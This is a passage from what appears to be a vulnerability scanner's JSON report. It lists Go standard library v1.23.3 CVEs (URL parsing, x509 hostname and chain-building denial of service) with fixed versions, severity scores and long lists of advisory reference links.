"https://errata.almalinux.org/9/ALSA-2026-95518.html", "https://errata.rockylinux.org/RLSA-2026:95518", "https://github.com/golang/go/issues/82345", "https://go.dev/cl/851047", "https://go.dev/issue/82345", "https://groups.google.com/g/golang-announce/c/66pojueaQek", "https://groups.google.com/g/golang-nuts/c/K22sG2AYnKU", "https://linux.oracle.com/cve/CVE-2026-111943.html", "https://linux.oracle.com/errata/ELSA-2026-95519.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-111943", "https://pkg.go.dev/vuln/GO-2026-6809", "https://www.cve.org/CVERecord?id=CVE-2026-111943" ], "PublishedDate": "2026-10-21T01:17:20.797Z", "LastModifiedDate": "2026-10-30T13:18:28.74Z" }, { "VulnerabilityID": "CVE-2026-25679", "VendorIDs": [ "GO-2026-4601" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.25.8, 1.26.1", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-25679", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:b6699c3274c0f3513f115bb939997e78a727f4162ba200eed3d341dd2a978605", "Title": "net/url: Incorrect parsing of IPv6 host literals in net/url", "Description": "url.Parse insufficiently validated the host/authority component and accepted some invalid URLs.", "Severity": "HIGH", "CweIDs": [ "CWE-425", "CWE-1286" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10065", "https://access.redhat.com/errata/RHSA-2026:10125", "https://access.redhat.com/errata/RHSA-2026:10133", "https://access.redhat.com/errata/RHSA-2026:10140", "https://access.redhat.com/errata/RHSA-2026:10141", "https://access.redhat.com/errata/RHSA-2026:10158", "https://access.redhat.com/errata/RHSA-2026:10169", "https://access.redhat.com/errata/RHSA-2026:10175", "https://access.redhat.com/errata/RHSA-2026:10184", "https://access.redhat.com/errata/RHSA-2026:10225", "https://access.redhat.com/errata/RHSA-2026:10250", "https://access.redhat.com/errata/RHSA-2026:10701", "https://access.redhat.com/errata/RHSA-2026:10712", "https://access.redhat.com/errata/RHSA-2026:10929", "https://access.redhat.com/errata/RHSA-2026:11217", "https://access.redhat.com/errata/RHSA-2026:11375", "https://access.redhat.com/errata/RHSA-2026:11412", "https://access.redhat.com/errata/RHSA-2026:11413", "https://access.redhat.com/errata/RHSA-2026:11686", "https://access.redhat.com/errata/RHSA-2026:11688", "https://access.redhat.com/errata/RHSA-2026:11747", "https://access.redhat.com/errata/RHSA-2026:11749", "https://access.redhat.com/errata/RHSA-2026:11768", "https://access.redhat.com/errata/RHSA-2026:11800", "https://access.redhat.com/errata/RHSA-2026:11856", "https://access.redhat.com/errata/RHSA-2026:11916", "https://access.redhat.com/errata/RHSA-2026:11996", "https://access.redhat.com/errata/RHSA-2026:12028", "https://access.redhat.com/errata/RHSA-2026:12029", "https://access.redhat.com/errata/RHSA-2026:12030", "https://access.redhat.com/errata/RHSA-2026:12031", "https://access.redhat.com/errata/RHSA-2026:12032", "https://access.redhat.com/errata/RHSA-2026:12033", "https://access.redhat.com/errata/RHSA-2026:12282", "https://access.redhat.com/errata/RHSA-2026:13508", "https://access.redhat.com/errata/RHSA-2026:13512", "https://access.redhat.com/errata/RHSA-2026:13545", "https://access.redhat.com/errata/RHSA-2026:13642", "https://access.redhat.com/errata/RHSA-2026:13643", "https://access.redhat.com/errata/RHSA-2026:13671", "https://access.redhat.com/errata/RHSA-2026:13791", "https://access.redhat.com/errata/RHSA-2026:13829", "https://access.redhat.com/errata/RHSA-2026:14020", "https://access.redhat.com/errata/RHSA-2026:14100", "https://access.redhat.com/errata/RHSA-2026:14774", "https://access.redhat.com/errata/RHSA-2026:14868", "https://access.redhat.com/errata/RHSA-2026:14879", "https://access.redhat.com/errata/RHSA-2026:15091", "https://access.redhat.com/errata/RHSA-2026:16102", "https://access.redhat.com/errata/RHSA-2026:16696", "https://access.redhat.com/errata/RHSA-2026:16874", "https://access.redhat.com/errata/RHSA-2026:16875", "https://access.redhat.com/errata/RHSA-2026:17040", "https://access.redhat.com/errata/RHSA-2026:17084", "https://access.redhat.com/errata/RHSA-2026:17287", "https://access.redhat.com/errata/RHSA-2026:17598", "https://access.redhat.com/errata/RHSA-2026:19017", "https://access.redhat.com/errata/RHSA-2026:19022", "https://access.redhat.com/errata/RHSA-2026:19026", "https://access.redhat.com/errata/RHSA-2026:19027", "https://access.redhat.com/errata/RHSA-2026:19031", "https://access.redhat.com/errata/RHSA-2026:19032", "https://access.redhat.com/errata/RHSA-2026:19049", "https://access.redhat.com/errata/RHSA-2026:19055", "https://access.redhat.com/errata/RHSA-2026:19126", "https://access.redhat.com/errata/RHSA-2026:19128", "https://access.redhat.com/errata/RHSA-2026:19132", "https://access.redhat.com/errata/RHSA-2026:19133", "https://access.redhat.com/errata/RHSA-2026:19135", "https://access.redhat.com/errata/RHSA-2026:19181", "https://access.redhat.com/errata/RHSA-2026:19184", "https://access.redhat.com/errata/RHSA-2026:19185", "https://access.redhat.com/errata/RHSA-2026:19207", "https://access.redhat.com/errata/RHSA-2026:19350", "https://access.redhat.com/errata/RHSA-2026:19353", "https://access.redhat.com/errata/RHSA-2026:19375", "https://access.redhat.com/errata/RHSA-2026:19475", "https://access.redhat.com/errata/RHSA-2026:19634", "https://access.redhat.com/errata/RHSA-2026:19719", "https://access.redhat.com/errata/RHSA-2026:19720", "https://access.redhat.com/errata/RHSA-2026:19721", "https://access.redhat.com/errata/RHSA-2026:19750", "https://access.redhat.com/errata/RHSA-2026:20041", "https://access.redhat.com/errata/RHSA-2026:20088", "https://access.redhat.com/errata/RHSA-2026:20581", "https://access.redhat.com/errata/RHSA-2026:20582", "https://access.redhat.com/errata/RHSA-2026:20584", "https://access.redhat.com/errata/RHSA-2026:20889", "https://access.redhat.com/errata/RHSA-2026:21017", "https://access.redhat.com/errata/RHSA-2026:21655", "https://access.redhat.com/errata/RHSA-2026:21657", "https://access.redhat.com/errata/RHSA-2026:21691", "https://access.redhat.com/errata/RHSA-2026:21696", "https://access.redhat.com/errata/RHSA-2026:21769", "https://access.redhat.com/errata/RHSA-2026:22347", "https://access.redhat.com/errata/RHSA-2026:22423", "https://access.redhat.com/errata/RHSA-2026:22450", "https://access.redhat.com/errata/RHSA-2026:22627", "https://access.redhat.com/errata/RHSA-2026:22714", "https://access.redhat.com/errata/RHSA-2026:22733", "https://access.redhat.com/errata/RHSA-2026:22862", "https://access.redhat.com/errata/RHSA-2026:22937", "https://access.redhat.com/errata/RHSA-2026:23228", "https://access.redhat.com/errata/RHSA-2026:23345", "https://access.redhat.com/errata/RHSA-2026:24386", "https://access.redhat.com/errata/RHSA-2026:24853", "https://access.redhat.com/errata/RHSA-2026:25043", "https://access.redhat.com/errata/RHSA-2026:25127", "https://access.redhat.com/errata/RHSA-2026:25180", "https://access.redhat.com/errata/RHSA-2026:25248", "https://access.redhat.com/errata/RHSA-2026:25250", "https://access.redhat.com/errata/RHSA-2026:25251", "https://access.redhat.com/errata/RHSA-2026:25252", "https://access.redhat.com/errata/RHSA-2026:25253", "https://access.redhat.com/errata/RHSA-2026:26445", "https://access.redhat.com/errata/RHSA-2026:26527", "https://access.redhat.com/errata/RHSA-2026:26541", "https://access.redhat.com/errata/RHSA-2026:26568", "https://access.redhat.com/errata/RHSA-2026:26585", "https://access.redhat.com/errata/RHSA-2026:26636", "https://access.redhat.com/errata/RHSA-2026:27076", "https://access.redhat.com/errata/RHSA-2026:28047", "https://access.redhat.com/errata/RHSA-2026:28441", "https://access.redhat.com/errata/RHSA-2026:28886", "https://access.redhat.com/errata/RHSA-2026:28893", "https://access.redhat.com/errata/RHSA-2026:28961", "https://access.redhat.com/errata/RHSA-2026:29035", "https://access.redhat.com/errata/RHSA-2026:29195", "https://access.redhat.com/errata/RHSA-2026:29455", "https://access.redhat.com/errata/RHSA-2026:29702", "https://access.redhat.com/errata/RHSA-2026:29703", "https://access.redhat.com/errata/RHSA-2026:29854", "https://access.redhat.com/errata/RHSA-2026:33722", "https://access.redhat.com/errata/RHSA-2026:34097", "https://access.redhat.com/errata/RHSA-2026:34365", "https://access.redhat.com/errata/RHSA-2026:36317", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:39810", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:42150", "https://access.redhat.com/errata/RHSA-2026:42151", "https://access.redhat.com/errata/RHSA-2026:48036", "https://access.redhat.com/errata/RHSA-2026:49944", "https://access.redhat.com/errata/RHSA-2026:5110", "https://access.redhat.com/errata/RHSA-2026:51288", "https://access.redhat.com/errata/RHSA-2026:52389", "https://access.redhat.com/errata/RHSA-2026:52390", "https://access.redhat.com/errata/RHSA-2026:52391", "https://access.redhat.com/errata/RHSA-2026:54191", "https://access.redhat.com/errata/RHSA-2026:54757", "https://access.redhat.com/errata/RHSA-2026:5549", "https://access.redhat.com/errata/RHSA-2026:56785", "https://access.redhat.com/errata/RHSA-2026:56852", "https://access.redhat.com/errata/RHSA-2026:56910", "https://access.redhat.com/errata/RHSA-2026:57482", "https://access.redhat.com/errata/RHSA-2026:5941", "https://access.redhat.com/errata/RHSA-2026:5942", "https://access.redhat.com/errata/RHSA-2026:5943", "https://access.redhat.com/errata/RHSA-2026:5944", "https://access.redhat.com/errata/RHSA-2026:59830", "https://access.redhat.com/errata/RHSA-2026:60018", "https://access.redhat.com/errata/RHSA-2026:6341", "https://access.redhat.com/errata/RHSA-2026:6344", "https://access.redhat.com/errata/RHSA-2026:6382", "https://access.redhat.com/errata/RHSA-2026:6383", "https://access.redhat.com/errata/RHSA-2026:6388", "https://access.redhat.com/errata/RHSA-2026:6564", "https://access.redhat.com/errata/RHSA-2026:65838", "https://access.redhat.com/errata/RHSA-2026:66401", "https://access.redhat.com/errata/RHSA-2026:6720", "https://access.redhat.com/errata/RHSA-2026:6802", "https://access.redhat.com/errata/RHSA-2026:6949", "https://access.redhat.com/errata/RHSA-2026:7005", "https://access.redhat.com/errata/RHSA-2026:7009", "https://access.redhat.com/errata/RHSA-2026:7011", "https://access.redhat.com/errata/RHSA-2026:7259", "https://access.redhat.com/errata/RHSA-2026:7291", "https://access.redhat.com/errata/RHSA-2026:7315", "https://access.redhat.com/errata/RHSA-2026:7328", "https://access.redhat.com/errata/RHSA-2026:7385", "https://access.redhat.com/errata/RHSA-2026:7665", "https://access.redhat.com/errata/RHSA-2026:7669", "https://access.redhat.com/errata/RHSA-2026:7674", "https://access.redhat.com/errata/RHSA-2026:7833", "https://access.redhat.com/errata/RHSA-2026:7834", "https://access.redhat.com/errata/RHSA-2026:7876", "https://access.redhat.com/errata/RHSA-2026:7877", "https://access.redhat.com/errata/RHSA-2026:7878", "https://access.redhat.com/errata/RHSA-2026:7879", "https://access.redhat.com/errata/RHSA-2026:7883", "https://access.redhat.com/errata/RHSA-2026:7992", "https://access.redhat.com/errata/RHSA-2026:8151", "https://access.redhat.com/errata/RHSA-2026:8167", "https://access.redhat.com/errata/RHSA-2026:8314", "https://access.redhat.com/errata/RHSA-2026:8322", "https://access.redhat.com/errata/RHSA-2026:8324", "https://access.redhat.com/errata/RHSA-2026:8337", "https://access.redhat.com/errata/RHSA-2026:8338", "https://access.redhat.com/errata/RHSA-2026:8433", "https://access.redhat.com/errata/RHSA-2026:8434", "https://access.redhat.com/errata/RHSA-2026:8456", "https://access.redhat.com/errata/RHSA-2026:8483", "https://access.redhat.com/errata/RHSA-2026:8484", "https://access.redhat.com/errata/RHSA-2026:8490", "https://access.redhat.com/errata/RHSA-2026:8491", "https://access.redhat.com/errata/RHSA-2026:8493", "https://access.redhat.com/errata/RHSA-2026:8840", "https://access.redhat.com/errata/RHSA-2026:8841", "https://access.redhat.com/errata/RHSA-2026:8842", "https://access.redhat.com/errata/RHSA-2026:8845", "https://access.redhat.com/errata/RHSA-2026:8847", "https://access.redhat.com/errata/RHSA-2026:8848", "https://access.redhat.com/errata/RHSA-2026:8849", "https://access.redhat.com/errata/RHSA-2026:8851", "https://access.redhat.com/errata/RHSA-2026:8852", "https://access.redhat.com/errata/RHSA-2026:8853", "https://access.redhat.com/errata/RHSA-2026:8855", "https://access.redhat.com/errata/RHSA-2026:8856", "https://access.redhat.com/errata/RHSA-2026:8860", "https://access.redhat.com/errata/RHSA-2026:8877", "https://access.redhat.com/errata/RHSA-2026:8878", "https://access.redhat.com/errata/RHSA-2026:8879", "https://access.redhat.com/errata/RHSA-2026:8881", "https://access.redhat.com/errata/RHSA-2026:8882", "https://access.redhat.com/errata/RHSA-2026:8930", "https://access.redhat.com/errata/RHSA-2026:8931", "https://access.redhat.com/errata/RHSA-2026:8949", "https://access.redhat.com/errata/RHSA-2026:9043", "https://access.redhat.com/errata/RHSA-2026:9044", "https://access.redhat.com/errata/RHSA-2026:9052", "https://access.redhat.com/errata/RHSA-2026:9090", "https://access.redhat.com/errata/RHSA-2026:9093", "https://access.redhat.com/errata/RHSA-2026:9094", "https://access.redhat.com/errata/RHSA-2026:9097", "https://access.redhat.com/errata/RHSA-2026:9098", "https://access.redhat.com/errata/RHSA-2026:9108", "https://access.redhat.com/errata/RHSA-2026:9109", "https://access.redhat.com/errata/RHSA-2026:9385", "https://access.redhat.com/errata/RHSA-2026:9434", "https://access.redhat.com/errata/RHSA-2026:9435", "https://access.redhat.com/errata/RHSA-2026:9436", "https://access.redhat.com/errata/RHSA-2026:9439", "https://access.redhat.com/errata/RHSA-2026:9440", "https://access.redhat.com/errata/RHSA-2026:9448", "https://access.redhat.com/errata/RHSA-2026:9453", "https://access.redhat.com/errata/RHSA-2026:9461", "https://access.redhat.com/errata/RHSA-2026:9695", "https://access.redhat.com/errata/RHSA-2026:9742", "https://access.redhat.com/errata/RHSA-2026:9872", "https://access.redhat.com/security/cve/CVE-2026-25679", "https://bugzilla.redhat.com/2445356", "https://bugzilla.redhat.com/show_bug.cgi?id=2445356", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25679", "https://errata.almalinux.org/9/ALSA-2026-9044.html", "https://errata.rockylinux.org/RLSA-2026:9044", "https://go.dev/cl/752180", "https://go.dev/issue/77578", "https://groups.google.com/g/golang-announce/c/EdhZqrQ98hk", "https://linux.oracle.com/cve/CVE-2026-25679.html", "https://linux.oracle.com/errata/ELSA-2026-9044.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-25679", "https://pkg.go.dev/vuln/GO-2026-4601", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25679.json", "https://www.cve.org/CVERecord?id=CVE-2026-25679" ], "PublishedDate": "2026-03-06T22:16:00.72Z", "LastModifiedDate": "2026-09-18T13:17:30.067Z" }, { "VulnerabilityID": "CVE-2026-27145", "VendorIDs": [ "GO-2026-5037" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.25.11, 1.26.4", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-27145", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:e44ffe6a41987a3ef8bfba82f8ccac601b4c4b707bc22dfd46b2efa1546d7ab5", "Title": "crypto/x509: golang: golang crypto/x509: Denial of Service via excessive processing of DNS SAN entries", "Description": "(*x509.Certificate).VerifyHostname previously called matchHostnames in a loop over all DNS Subject Alternative Name (SAN) entries. This caused strings.Split(host, \".\") to execute repeatedly on the same input hostname. With a large DNS SAN list, verification costs scaled quadratically based on the number of SAN entries multiplied by the hostname's label count. Because x509.Verify validates hostnames before building the certificate chain, this overhead occurred even for untrusted certificates.", "Severity": "HIGH", "CweIDs": [ "CWE-606" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:29980", "https://access.redhat.com/errata/RHSA-2026:29981", "https://access.redhat.com/errata/RHSA-2026:33574", "https://access.redhat.com/errata/RHSA-2026:34357", "https://access.redhat.com/errata/RHSA-2026:34359", "https://access.redhat.com/errata/RHSA-2026:35832", "https://access.redhat.com/errata/RHSA-2026:36317", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:38995", "https://access.redhat.com/errata/RHSA-2026:39005", "https://access.redhat.com/errata/RHSA-2026:39573", "https://access.redhat.com/errata/RHSA-2026:39879", "https://access.redhat.com/errata/RHSA-2026:41030", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41930", "https://access.redhat.com/errata/RHSA-2026:42043", "https://access.redhat.com/errata/RHSA-2026:42047", "https://access.redhat.com/errata/RHSA-2026:42049", "https://access.redhat.com/errata/RHSA-2026:42050", "https://access.redhat.com/errata/RHSA-2026:42051", "https://access.redhat.com/errata/RHSA-2026:42079", "https://access.redhat.com/errata/RHSA-2026:42080", "https://access.redhat.com/errata/RHSA-2026:42082", "https://access.redhat.com/errata/RHSA-2026:42142", "https://access.redhat.com/errata/RHSA-2026:42150", "https://access.redhat.com/errata/RHSA-2026:42151", "https://access.redhat.com/errata/RHSA-2026:42240", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42946", "https://access.redhat.com/errata/RHSA-2026:44622", "https://access.redhat.com/errata/RHSA-2026:46394", "https://access.redhat.com/errata/RHSA-2026:46395", "https://access.redhat.com/errata/RHSA-2026:47149", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49703", "https://access.redhat.com/errata/RHSA-2026:49705", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:49729", "https://access.redhat.com/errata/RHSA-2026:49744", "https://access.redhat.com/errata/RHSA-2026:49765", "https://access.redhat.com/errata/RHSA-2026:49770", "https://access.redhat.com/errata/RHSA-2026:50205", "https://access.redhat.com/errata/RHSA-2026:50319", "https://access.redhat.com/errata/RHSA-2026:51057", "https://access.redhat.com/errata/RHSA-2026:51187", "https://access.redhat.com/errata/RHSA-2026:52946", "https://access.redhat.com/errata/RHSA-2026:53374", "https://access.redhat.com/errata/RHSA-2026:53412", "https://access.redhat.com/errata/RHSA-2026:53413", "https://access.redhat.com/errata/RHSA-2026:53415", "https://access.redhat.com/errata/RHSA-2026:53416", "https://access.redhat.com/errata/RHSA-2026:53530", "https://access.redhat.com/errata/RHSA-2026:54168", "https://access.redhat.com/errata/RHSA-2026:54401", "https://access.redhat.com/errata/RHSA-2026:54427", "https://access.redhat.com/errata/RHSA-2026:54432", "https://access.redhat.com/errata/RHSA-2026:54435", "https://access.redhat.com/errata/RHSA-2026:54441", "https://access.redhat.com/errata/RHSA-2026:54500", "https://access.redhat.com/errata/RHSA-2026:54525", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:54603", "https://access.redhat.com/errata/RHSA-2026:54757", "https://access.redhat.com/errata/RHSA-2026:55899", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57482", "https://access.redhat.com/errata/RHSA-2026:57488", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:59556", "https://access.redhat.com/errata/RHSA-2026:59557", "https://access.redhat.com/errata/RHSA-2026:59558", "https://access.redhat.com/errata/RHSA-2026:59559", "https://access.redhat.com/errata/RHSA-2026:59579", "https://access.redhat.com/errata/RHSA-2026:59593", "https://access.redhat.com/errata/RHSA-2026:60025", "https://access.redhat.com/errata/RHSA-2026:60315", "https://access.redhat.com/errata/RHSA-2026:60354", "https://access.redhat.com/errata/RHSA-2026:60386", "https://access.redhat.com/errata/RHSA-2026:60387", "https://access.redhat.com/errata/RHSA-2026:60388", "https://access.redhat.com/errata/RHSA-2026:60390", "https://access.redhat.com/errata/RHSA-2026:60391", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:61314", "https://access.redhat.com/errata/RHSA-2026:63016", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:68334", "https://access.redhat.com/errata/RHSA-2026:68335", "https://access.redhat.com/security/cve/CVE-2026-27145", "https://bugzilla.redhat.com/2445356", "https://bugzilla.redhat.com/2484207", "https://bugzilla.redhat.com/show_bug.cgi?id=2445356", "https://bugzilla.redhat.com/show_bug.cgi?id=2484207", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27145", "https://errata.almalinux.org/9/ALSA-2026-36317.html", "https://errata.rockylinux.org/RLSA-2026:36317", "https://go.dev/cl/783621", "https://go.dev/issue/79694", "https://groups.google.com/g/golang-announce/c/tKs3rmcBcKw", "https://linux.oracle.com/cve/CVE-2026-27145.html", "https://linux.oracle.com/errata/ELSA-2026-53416.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-27145", "https://pkg.go.dev/vuln/GO-2026-5037", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27145.json", "https://www.cve.org/CVERecord?id=CVE-2026-27145" ], "PublishedDate": "2026-06-02T23:16:35.57Z", "LastModifiedDate": "2026-09-18T13:17:43.283Z" }, { "VulnerabilityID": "CVE-2026-32280", "VendorIDs": [ "GO-2026-4947" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.25.9, 1.26.2", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-32280", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:428fd5355cdd84308371469e96042fdc99d1ba2c204e6dcb2d146da9e477f46f", "Title": "crypto/x509: crypto/tls: golang: Go: Denial of Service vulnerability in certificate chain building", "Description": "During chain building, the amount of work that is done is not correctly limited when a large number of intermediate certificates are passed in VerifyOptions.Intermediates, which can lead to a denial of service. This affects both direct users of crypto/x509 and users of crypto/tls.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10217", "https://access.redhat.com/errata/RHSA-2026:10219", "https://access.redhat.com/errata/RHSA-2026:10704", "https://access.redhat.com/errata/RHSA-2026:11507", "https://access.redhat.com/errata/RHSA-2026:11514", "https://access.redhat.com/errata/RHSA-2026:11688", "https://access.redhat.com/errata/RHSA-2026:13545", "https://access.redhat.com/errata/RHSA-2026:13791", "https://access.redhat.com/errata/RHSA-2026:13826", "https://access.redhat.com/errata/RHSA-2026:13829", "https://access.redhat.com/errata/RHSA-2026:14020", "https://access.redhat.com/errata/RHSA-2026:14162", "https://access.redhat.com/errata/RHSA-2026:14200", "https://access.redhat.com/errata/RHSA-2026:14391", "https://access.redhat.com/errata/RHSA-2026:15980", "https://access.redhat.com/errata/RHSA-2026:16021", "https://access.redhat.com/errata/RHSA-2026:16024", "https://access.redhat.com/errata/RHSA-2026:16101", "https://access.redhat.com/errata/RHSA-2026:16476", "https://access.redhat.com/errata/RHSA-2026:16477", "https://access.redhat.com/errata/RHSA-2026:16505", "https://access.redhat.com/errata/RHSA-2026:16508", "https://access.redhat.com/errata/RHSA-2026:16532", "https://access.redhat.com/errata/RHSA-2026:16534", "https://access.redhat.com/errata/RHSA-2026:16535", "https://access.redhat.com/errata/RHSA-2026:16537", "https://access.redhat.com/errata/RHSA-2026:16542", "https://access.redhat.com/errata/RHSA-2026:16874", "https://access.redhat.com/errata/RHSA-2026:16875", "https://access.redhat.com/errata/RHSA-2026:17084", "https://access.redhat.com/errata/RHSA-2026:17287", "https://access.redhat.com/errata/RHSA-2026:18027", "https://access.redhat.com/errata/RHSA-2026:18032", "https://access.redhat.com/errata/RHSA-2026:19133", "https://access.redhat.com/errata/RHSA-2026:19135", "https://access.redhat.com/errata/RHSA-2026:19144", "https://access.redhat.com/errata/RHSA-2026:19350", "https://access.redhat.com/errata/RHSA-2026:19353", "https://access.redhat.com/errata/RHSA-2026:19375", "https://access.redhat.com/errata/RHSA-2026:19450", "https://access.redhat.com/errata/RHSA-2026:19550", "https://access.redhat.com/errata/RHSA-2026:19634", "https://access.redhat.com/errata/RHSA-2026:19714", "https://access.redhat.com/errata/RHSA-2026:19715", "https://access.redhat.com/errata/RHSA-2026:19719", "https://access.redhat.com/errata/RHSA-2026:19720", "https://access.redhat.com/errata/RHSA-2026:19721", "https://access.redhat.com/errata/RHSA-2026:19722", "https://access.redhat.com/errata/RHSA-2026:19750", "https://access.redhat.com/errata/RHSA-2026:19839", "https://access.redhat.com/errata/RHSA-2026:20556", "https://access.redhat.com/errata/RHSA-2026:20569", "https://access.redhat.com/errata/RHSA-2026:20570", "https://access.redhat.com/errata/RHSA-2026:20571", "https://access.redhat.com/errata/RHSA-2026:20607", "https://access.redhat.com/errata/RHSA-2026:20608", "https://access.redhat.com/errata/RHSA-2026:20609", "https://access.redhat.com/errata/RHSA-2026:20889", "https://access.redhat.com/errata/RHSA-2026:21017", "https://access.redhat.com/errata/RHSA-2026:21338", "https://access.redhat.com/errata/RHSA-2026:21655", "https://access.redhat.com/errata/RHSA-2026:21769", "https://access.redhat.com/errata/RHSA-2026:21772", "https://access.redhat.com/errata/RHSA-2026:22130", "https://access.redhat.com/errata/RHSA-2026:22141", "https://access.redhat.com/errata/RHSA-2026:22258", "https://access.redhat.com/errata/RHSA-2026:22260", "https://access.redhat.com/errata/RHSA-2026:22268", "https://access.redhat.com/errata/RHSA-2026:22309", "https://access.redhat.com/errata/RHSA-2026:22347", "https://access.redhat.com/errata/RHSA-2026:22415", "https://access.redhat.com/errata/RHSA-2026:22422", "https://access.redhat.com/errata/RHSA-2026:22465", "https://access.redhat.com/errata/RHSA-2026:22485", "https://access.redhat.com/errata/RHSA-2026:22709", "https://access.redhat.com/errata/RHSA-2026:22713", "https://access.redhat.com/errata/RHSA-2026:22840", "https://access.redhat.com/errata/RHSA-2026:22862", "https://access.redhat.com/errata/RHSA-2026:22958", "https://access.redhat.com/errata/RHSA-2026:22959", "https://access.redhat.com/errata/RHSA-2026:22960", "https://access.redhat.com/errata/RHSA-2026:22961", "https://access.redhat.com/errata/RHSA-2026:22962", "https://access.redhat.com/errata/RHSA-2026:23102", "https://access.redhat.com/errata/RHSA-2026:23103", "https://access.redhat.com/errata/RHSA-2026:23244", "https://access.redhat.com/errata/RHSA-2026:23345", "https://access.redhat.com/errata/RHSA-2026:23361", "https://access.redhat.com/errata/RHSA-2026:24337", "https://access.redhat.com/errata/RHSA-2026:24359", "https://access.redhat.com/errata/RHSA-2026:24470", "https://access.redhat.com/errata/RHSA-2026:24478", "https://access.redhat.com/errata/RHSA-2026:24716", "https://access.redhat.com/errata/RHSA-2026:24761", "https://access.redhat.com/errata/RHSA-2026:24762", "https://access.redhat.com/errata/RHSA-2026:24853", "https://access.redhat.com/errata/RHSA-2026:24977", "https://access.redhat.com/errata/RHSA-2026:25089", "https://access.redhat.com/errata/RHSA-2026:25127", "https://access.redhat.com/errata/RHSA-2026:25180", "https://access.redhat.com/errata/RHSA-2026:25248", 